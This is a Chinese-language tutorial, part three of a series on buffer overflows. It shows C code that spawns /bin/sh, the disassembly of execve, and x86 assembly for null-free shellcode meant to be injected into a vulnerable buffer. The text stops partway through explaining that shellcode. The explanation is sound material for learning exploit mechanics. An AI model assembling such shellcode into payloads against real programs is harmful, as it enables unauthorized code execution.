网络安全 频道

缓冲区溢出解密(三)

如何执行 /bin/sh?

在C中,spawn出一个shell的代码可能象这样:

shell.c :

#include <unistd.h>



void main()

{

        char *shell[2];



        shell[0] = "/bin/sh";

        shell[1] = NULL;



        execve(shell[0], shell, NULL);

}



[murat@victim murat]$ make shell

cc -W -Wall -pedantic -g    shell.c   -o shell

[murat@victim murat]$ ./shell

bash$

如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。

目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能!

这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。

因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。

首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法,execve系统调用也将被反汇编)然后看:

[murat@victim murat]$ gcc -static -g -o shell shell.c

[murat@victim murat]$ objdump -d shell | grep \<__execve\>: -A 12

0804ca10 <__execve>:

 804ca10:       53              pushl  %ebx

 804ca11:       8b 54 24 10     movl   0x10(%esp,1),%edx

 804ca15:       8b 4c 24 0c     movl   0xc(%esp,1),%ecx

 804ca19:       8b 5c 24 08     movl   0x8(%esp,1),%ebx

 804ca1d:       b8 0b 00 00 00  movl   $0xb,%eax

 804ca22:       cd 80           int    $0x80

 804ca24:       5b              popl   %ebx

 804ca25:       3d 01 f0 ff ff  cmpl   $0xfffff001,%eax

 804ca2a:       0f 83 00 02 00  jae    804cc30 <__syscall_error>

 804ca2f:       00

 804ca30:       c3              ret

 804ca31:       90              nop

[murat@victim murat]$

让我们一步一步地分析这个系统调用:

记住,在我们的main()函数里,我们写了代码:

execve(shell[0], shell, NULL)

我们传递了:

·字符串”/bin/sh”的地址

·NULL结尾数组的地址

·NULL(实际上它是环境地址)

此处,在main里面:

[murat@victim murat]$ objdump -d shell | grep \<main\>:  -A 17

08048124 <main>:

 8048124:       55              pushl  %ebp

 8048125:       89 e5           movl   %esp,%ebp

 8048127:       83 ec 08        subl   $0x8,%esp

 804812a:       c7 45 f8 ac 92  movl   $0x80592ac,0xfffffff8(%ebp)

 804812f:       05 08

 8048131:       c7 45 fc 00 00  movl   $0x0,0xfffffffc(%ebp)

 8048136:       00 00

 8048138:       6a 00           pushl  $0x0

 804813a:       8d 45 f8        leal   0xfffffff8(%ebp),%eax

 804813d:       50              pushl  %eax

 804813e:       8b 45 f8        movl   0xfffffff8(%ebp),%eax

 8048141:       50              pushl  %eax

 8048142:       e8 c9 48 00 00  call   804ca10 <__execve>

 8048147:       83 c4 0c        addl   $0xc,%esp

 804814a:       c9              leave

 804814b:       c3              ret

 804814c:       90              nop

在调用execve(call 804ca10 <__execve>)之前,我们反序把这些参数推入到堆栈中。

因此,如果我们回到__execve:

我们拷贝NULL字节到EDX寄存器,

 804ca11:       8b 54 24 10     movl   0x10(%esp,1),%edx



我们拷贝以NULL结尾数组的地址到ECX寄存器,

 804ca15:       8b 4c 24 0c     movl   0xc(%esp,1),%ecx



我们拷贝字符串"/bin/sh"的地址到EBX寄存器

 804ca19:       8b 5c 24 08     movl   0x8(%esp,1),%ebx



我们为execve拷贝系统索引,即11(oxb)到EAX寄存器:

 804ca1d:       b8 0b 00 00 00  movl   $0xb,%eax



接着变成核模式:

 804ca22:       cd 80           int    $0x80

我们需要的全部就是这么多了。然而,这里还有一些问题。我们不能准确地知道NULL结束数组和”/bin/sh”字符串的地址。那么,这个怎么样?:

xorl	%eax, %eax

	pushl	%eax

	pushl   $0x68732f2f 

	pushl   $0x6e69622f 

	movl    %esp,%ebx

	pushl   %eax 

	pushl   %ebx 

	movl    %esp,%ecx

	cdql

	movb    $0x0b,%al

	int     $0x80

让我解释一下上面的指令:

如果你进行自身异或,你得到0,等同于NULL。这里,我们在EAX寄存器中得到一个NULL。

0
相关文章